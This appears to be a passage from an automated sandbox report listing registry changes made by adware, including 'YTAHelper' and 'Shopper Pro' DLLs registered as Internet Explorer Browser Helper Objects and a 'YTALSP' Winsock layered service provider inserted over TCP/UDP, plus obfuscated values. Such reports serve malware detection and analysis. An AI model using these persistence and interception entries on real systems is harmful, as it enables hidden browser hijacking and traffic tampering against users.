[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"NoExplorer" = "1"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]

The process regsvr32.exe:4052 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

"NoExplorer" = "1"

The process regsvr32.exe:2272 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:3412 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process lspinst.exe:2244 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYWa|neorl}}VdW]s"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1022"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "LLKfRVSlj|rmqCKxiq`fRISIl@ODl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "sxuLGA[`nKjRMGfi]^M|"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "19"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_rX[P|iprP`LRKtAeZ~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "63 A4 B7 A3 3C 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\yxQHXfdfitoe]
"(Default)" = "OLyH"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}Q~id|CHfwppbm[b|tiGOXLYq_@|yu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "iVdUXeUMHZGUmhBjdg]FB"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "[YdvjPOh|LYVLfCt`S[@@s_~DJsj|"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "b`delrPwiADcWgr\j|"

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001B]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001C]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001A]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:2484 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYWa|neorl}}VdW]s"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "[YdvjPOh|LYVLfCt`S[@@s_~DJsj|"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_rX[P|iprP`LRKtAeZ~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "LLKfRVSlj|rmqCKxiq`fbISIl@Otl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"
"{K7C0DB872A3F777C0}" = "4D FE 53 E9 3C 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "sxuLGA[`nKjRRGfi]^FS"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\yxQHXfdfitoe]
"(Default)" = "rY{h"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}Q~id|CHfwppbm[b|tiGOXLYq_@|yu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "b`delrPwiADcWgr\j|"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "iVdUXeUMHZGUmhBjdg]FB"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process e8cfa312-fa67-431c-a6c1-adcf7585a6ee-4.exe:3740 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
